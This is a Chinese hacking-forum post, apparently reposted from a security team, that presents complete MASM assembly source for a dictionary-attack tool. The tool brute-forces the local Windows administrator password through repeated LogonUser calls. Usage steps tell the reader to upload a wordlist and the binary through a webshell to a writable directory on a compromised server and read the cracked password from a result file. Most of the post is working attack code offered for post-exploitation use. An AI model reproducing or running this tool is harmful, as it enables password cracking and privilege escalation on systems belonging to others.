|
楼主 |
发表于 2008-10-31 16:34:17
|
显示全部楼层
|阅读模式
来自 山东省潍坊市
Webshell下破解计算机管理员密码
信息来源:*八进制信息安全团
这个idea源自以前学runas命令时候的启发。
使用方法:
1、把你的密码字典改名成psw.txt后,上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是:c:\\windows\\temp\\
2、把程序上传到c:\\windows\\temp\\中,然后运行它。
3、然后就是等待,过几分钟(具体时间看你的字典大小了)查阅c:\\windows\\temp\\下的result_.txt中的结果,
如果为空就说明还没破解完,另选时间再回来看。
特点:
不需要抓hash,不需要管理员权限,ISUR_*用户就能用,速度慢(这个也是特点哦)在测试机中的表现是每秒尝试1800个密码左右。
默认破解administrator用户的密码。要破其它,请自行修改代码。
result_.txt示例:
-----------------------------
The administrator's password is: tester
The program had tried 32***53 times! :)
Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.
-----------------------------
源代码如下:
AdminPassCrack.asm文件
;
;By taiwansee2008.10.23
;
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff AdminPassCracker.asm
; Link /subsystem:windows AdminPassCracker.obj
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
includewindows.inc
includeuser32.inc
includelibuser32.lib
includekernel32.inc
includelibkernel32.lib
includeAdvapi32.inc
includelibAdvapi32.lib
include_TotalTime.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
DEBUGequ0
LOGON32_LOGON_NETWORKequ3
LOGON32_PROVIDER_DEFAULTequ0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
align 4
.data?
hModuleHandleDWORD?
szFileNameBYTEMAX_PATH dup(?)
.data
szResultFileBYTE'result_.txt',0
szPswDicBYTE'psw.txt',0
szDomainBYTE'.',0
szUserNameBYTE'administrator',0
szResultFileFormatBYTE'The administrator',27h,'s password is: %s',0dh,0ah
BYTE'The program had tried %d times! :)',0dh,0ah,0
szNoDicFileErrBYTE'Sorry,dic file not exists.',0
szCreateFileMappingErrBYTE'CreateFileMapping Error!',0
szMapViewOfFileErrBYTE'MapViewOfFile Error!',0
szNotFoundBYTE'Password not found! :(',0dh,0ah,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
align 4
_WinMainproc
local@hPswDic:DWORD,\\
@szPswTmp[MAX_PATH]:BYTE,\\
@dwPswDicFileSize:DWORD,\\
@hResultFile:DWORD,\\
@dwWritten:DWORD,\\
@hPswDicFileMap:DWORD,\\
@hToken:DWORD,\\
@dwTriedTimes:DWORD,\\
@szBuf[MAX_PATH]:BYTE,\\
@dwContentLength:DWORD,\\
@lpPswDic:DWORD,\\
@lpNext:DWORD,\\
@lpStart:DWORD,\\
@dwStart:DWORD
;Create file to record results.
invokeCreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\\
FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\\
FILE_ATTRIBUTE_NORMAL,NULL
.ifeax == INVALID_HANDLE_VALUE
jmp _Error_Exit
.endif
mov@hResultFile,eax
;Open Dictionary file.
invokeCreateFile,offset szPswDic,GENERIC_READ,\\
FILE_SHARE_READ,NULL,OPEN_EXISTING,\\
FILE_ATTRIBUTE_NORMAL,NULL
.ifeax == INVALID_HANDLE_VALUE
invokeWriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL
jmp _Error_Exit
.endif
mov@hPswDic,eax
invokeGetFileSize,@hPswDic,NULL
mov@dwPswDicFileSize,eax
;**********CreateFileMapping**********
invokeCreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL
.ifeax==NULL
invokeWriteFile,@hResultFile,offset szCreateFileMappingErr,\\
sizeof szCreateFileMappingErr,addr @dwWritten,NULL
jmp _Error_Exit
.endif
mov@hPswDicFileMap,eax
;**********MapViewOfFile**********
invokeMapViewOfFile,eax,FILE_MAP_READ,0,0,0
.ifeax==NULL
invokeWriteFile,@hResultFile,offset szMapViewOfFileErr,\\
sizeof szMapViewOfFileErr,addr @dwWritten,NULL
jmp _Error_Exit
.endif
mov@lpPswDic,eax
mov@lpNext,eax
mov@lpStart,eax
invokeGetTickCount;计算使用的毫秒数,开始
mov@dwStart,eax
xorecx,ecx;统计已经分析的字符个数
xoreax,eax
mov@dwTriedTimes,eax;统计尝试的次数
.whileTRUE
cld
movesi,@lpStart
leaedi,@szPswTmp
@@:
lodsb
.ifal!=0dh
stosb
incecx
.ifecx==@dwPswDicFileSize
jmp@F
.elseifecx>@dwPswDicFileSize
jmp_NotFound
.endif
jmp@B
.endif
@@:
addecx,2
xoreax,eax
stosw;用0结尾
leaeax,[esi+1]
mov@lpNext,eax;修正到下一个密码
pushecx;保存计数值
invokeLogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\\
LOGON32_LOGON_NETWORK,\\
LOGON32_PROVIDER_DEFAULT,\\
addr @hToken
.ifeax==NULL
popecx;恢复计数值
push@lpNext
pop@lpStart
inc@dwTriedTimes
.continue
.else
popecx;堆栈平衡
.break
.endif
.endw
invokeGetTickCount;计算使用的毫秒数,结束
subeax,@dwStart
mov@dwStart,eax
invokewsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes
invokelstrlen,addr @szBuf
mov@dwContentLength,eax
invokeWriteFile,@hResultFile,addr @szBuf,\\
@dwContentLength,addr @dwWritten,NULL
invoke_TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL
invokelstrlen,addr @szBuf
mov@dwContentLength,eax
invokeWriteFile,@hResultFile,addr @szBuf,\\
@dwContentLength,addr @dwWritten,NULL
xoreax,eax
inceax
ret
_NotFound:
invokeGetTickCount;计算使用的毫秒数,开始
subeax,@dwStart
mov@dwStart,eax
invokelstrcpy,addr @szBuf,offset szNotFound
invoke_TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL
invokelstrcat,addr @szBuf,addr @szPswTmp
invokelstrlen,addr @szBuf
mov@dwContentLength,eax
invokeWriteFile,@hResultFile,addr @szBuf,\\
@dwContentLength,addr @dwWritten,NULL
_Error_Exit:
xoreax,eax
ret
_WinMainendp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invokeGetModuleHandle,NULL
movhModuleHandle,eax
invokeGetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName
invokelstrlen,offset szFileName
cld
movesi,offset szFileName
addesi,eax
std
@@:
lodsb
cmpal,5ch
jne@B
movbyte ptr [esi+2],0
cld
invokeSetCurrentDirectory,offset szFileName
call_WinMain
invokeExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
endstart
_TotalTime.asm文件
szResultFormatBYTE'Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.',0dh,0ah,0
.code
;********************************************************
;_TotalTime
;_lpBuf为调用者提供的接收结果缓冲区
;_dwTotalTime为总耗时,一般来说,前面有
;invokeGetTickCount
;subeax,@dwStart
;这两条指令
;_dwThingsHappend为在计时期间,关心的事件发生的次数
;_FutrueExtention为将来拓展用
;********************************************************
_TotalTimeproc_lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtention
local@dwStart:DWORD,\\
@dwMilliseconds:DWORD,\\
@dwSecond:DWORD,\\
@dwMinute:DWORD,\\
@dwHour:DWORD,\\
@dwSus:DWORD,\\
@AVGSpeed:DWORD
moveax,_dwTotalTime
;时间换算
xoredx,edx
movebx,1000
divebx
mov@dwMilliseconds,edx;毫秒
xoredx,edx
movebx,60
divebx
mov@dwSecond,edx
xoredx,edx
movebx,60
divebx
mov@dwMinute,edx
xoredx,edx
movebx,24
divebx
mov@dwHour,edx
;计算平均速度:_dwThingsHappend÷_dwTotalTime
xoredx,edx
moveax,_dwThingsHappend;_dwThingsHappend 也扩大1000倍(因为_dwTotalTime时间是毫秒数)
movebx,1000
mulebx
movebx,_dwTotalTime;把_dwTotalTime的值恢复到ebx
.ifebx!=0
divebx
mov@AVGSpeed,eax
.else;如果_dwTotalTime为0,说明运行时间太少,无法统计,在这里用_dwThingsHappend作为@AVGSpeed的
push_dwThingsHappend
pop@AVGSpeed
.endif
invokewsprintf,_lpBuf,\\
offset szResultFormat,\\
@dwHour,\\
@dwMinute,\\
@dwSecond,\\
@dwMilliseconds,\\
@AVGSpeed
xoreax,eax
inceax
ret
_TotalTimeendp |
|